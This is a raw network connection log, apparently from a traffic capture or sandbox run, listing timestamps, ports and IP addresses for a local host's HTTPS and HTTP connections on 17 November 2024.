Nov 17, 2024 22:20:42.596383095 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:42.681678057 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.681746006 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.681793928 CET	60792	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.683214903 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.683295012 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.683342934 CET	60788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.689227104 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.689287901 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.689383030 CET	60790	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.692540884 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.692605972 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.692656994 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.692682981 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.692708969 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.702917099 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.702989101 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.703046083 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.703061104 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.703114033 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.703237057 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.706435919 CET	49800	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:42.707016945 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:42.711282969 CET	80	49800	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:42.712521076 CET	60792	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.712521076 CET	60792	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.712594986 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.712625980 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.712861061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:42.712932110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:42.713623047 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.713640928 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.713696003 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.713701963 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.714238882 CET	60788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.714238882 CET	60788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.714253902 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.714262962 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.714523077 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.714523077 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.714529037 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.714535952 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.715200901 CET	60790	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.715200901 CET	60790	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.715209007 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.715218067 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.718442917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:42.718504906 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:42.723371983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:42.723404884 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:42.723440886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:42.723450899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:42.725573063 CET	60798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.725620031 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.725697041 CET	60798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.731060982 CET	60798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.731093884 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.747442961 CET	60799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.747487068 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.747548103 CET	60799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.747884989 CET	60799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.747898102 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.752851963 CET	60800	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.752940893 CET	443	60800	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.753020048 CET	60800	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.754662037 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.754689932 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.754740953 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.756810904 CET	60800	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.756845951 CET	443	60800	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.757246971 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.757263899 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.758028984 CET	60802	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.758052111 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.758115053 CET	60802	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.758260965 CET	60802	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.758285999 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.838445902 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:42.838499069 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:42.838567972 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:42.839684010 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:42.839698076 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:43.338460922 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.338489056 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:43.338576078 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.338996887 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.339035034 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:43.339104891 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.339257956 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.339267015 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:43.340189934 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.340220928 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:43.423559904 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:43.423589945 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:43.423650980 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:43.424834013 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:43.424856901 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:43.455902100 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.496751070 CET	443	60800	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.496990919 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.499428988 CET	60798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.499516010 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.500436068 CET	60798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.500449896 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.500981092 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.501662016 CET	60802	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.501694918 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.502290010 CET	60802	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.502295971 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.504268885 CET	60800	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.504285097 CET	443	60800	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.506486893 CET	60800	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.506491899 CET	443	60800	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.507348061 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.507375956 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.507894039 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.507899046 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.523479939 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.555316925 CET	60799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.555337906 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.555891991 CET	60799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.555896044 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.625713110 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.625842094 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.625920057 CET	60798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.628278971 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.628443003 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.628514051 CET	60802	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.631238937 CET	443	60800	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.631444931 CET	443	60800	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.631504059 CET	60800	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.632925987 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.633006096 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.633059025 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.633085012 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.633126974 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.633208036 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.648961067 CET	60798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.649017096 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.649051905 CET	60798	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.649070978 CET	443	60798	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.651702881 CET	60802	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.651732922 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.651747942 CET	60802	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.651756048 CET	443	60802	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.653350115 CET	60800	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.653356075 CET	443	60800	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.654220104 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.654251099 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.654361963 CET	60801	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.654371023 CET	443	60801	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.700948000 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.701042891 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.701160908 CET	60799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.789575100 CET	60808	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.789633989 CET	443	60808	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.789714098 CET	60808	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.803402901 CET	60799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.803433895 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.803446054 CET	60799	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.803452969 CET	443	60799	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.874099970 CET	60808	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:43.874131918 CET	443	60808	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:43.943502903 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:43.943614006 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:43.955857038 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:43.955893040 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:43.956142902 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:43.956373930 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:43.956387043 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:43.966401100 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:43.971057892 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.971123934 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:43.973134995 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:43.973220110 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.977849007 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:43.977984905 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:43.978033066 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.002517939 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:44.002537966 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:44.002803087 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:44.003015041 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:44.003031015 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:44.019325018 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.026218891 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:44.026545048 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:44.026571989 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:44.027729988 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:44.027817965 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:44.029084921 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:44.029151917 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:44.029593945 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:44.029604912 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:44.035140038 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.035208941 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.082835913 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.082890987 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.082957029 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.101841927 CET	60819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.101861954 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.102248907 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.102286100 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.102391005 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.102570057 CET	60820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.102591038 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.105102062 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.105140924 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.105192900 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.105314970 CET	60821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.105329037 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.106534958 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.106558084 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.106909990 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.107295036 CET	60822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.107306957 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.111226082 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.111303091 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.111779928 CET	60806	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.111799955 CET	443	60806	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.112566948 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:44.122065067 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.122113943 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.122571945 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.124654055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:44.124722004 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.124723911 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:44.124768972 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.124809027 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.156759977 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:44.156831980 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:44.156894922 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:44.157337904 CET	60807	443	192.168.2.7	162.159.61.3
Nov 17, 2024 22:20:44.157352924 CET	443	60807	162.159.61.3	192.168.2.7
Nov 17, 2024 22:20:44.214967966 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.215008020 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.215071917 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.215337038 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.215357065 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.258584976 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:44.263662100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:44.311273098 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.312127113 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.312186956 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.313080072 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.313153982 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.315464973 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.315531015 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.316140890 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.316176891 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.384864092 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.384911060 CET	443	60827	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.385016918 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.385162115 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.385222912 CET	443	60828	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.385288954 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.385411024 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.385438919 CET	443	60827	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.385586977 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.385601044 CET	443	60828	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.447011948 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.447083950 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.447901964 CET	60805	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.447923899 CET	443	60805	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.470189095 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.516633034 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.516701937 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.518095970 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.518146038 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.518500090 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.518584967 CET	443	60803	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.518848896 CET	60803	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.548420906 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.548444033 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.548624039 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.548815966 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.548832893 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.603899956 CET	443	60808	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.610553980 CET	60808	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.610603094 CET	443	60808	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.611253977 CET	60808	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.611259937 CET	443	60808	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.623550892 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.623601913 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.623822927 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.627847910 CET	60830	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:44.627881050 CET	443	60830	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:44.736005068 CET	443	60808	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.736069918 CET	443	60808	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.737056971 CET	60808	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.737791061 CET	60808	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.737812996 CET	443	60808	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.740720034 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.740776062 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.740870953 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.741022110 CET	60831	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:44.741041899 CET	443	60831	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.816759109 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:44.818531990 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.831392050 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.831408978 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.831608057 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:44.831614971 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:44.832185984 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.832231998 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.832468987 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.833046913 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.833090067 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.833107948 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:44.833158970 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:44.833205938 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.833205938 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:44.833213091 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:44.833245993 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:44.833264112 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:44.833482981 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.833496094 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.833678961 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.833694935 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.834939003 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.835030079 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.835685015 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:44.837682009 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.837894917 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.838186026 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:44.838308096 CET	60823	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:44.838315010 CET	443	60823	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:44.838376999 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:44.838438988 CET	60809	443	192.168.2.7	142.250.186.33
Nov 17, 2024 22:20:44.840379000 CET	443	60819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.843112946 CET	443	60821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.849497080 CET	443	60820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.849551916 CET	443	60822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:44.858881950 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:44.879373074 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:44.921471119 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:44.921533108 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:44.925789118 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:44.925800085 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:44.925853968 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:44.934048891 CET	60823	443	192.168.2.7	172.64.41.3
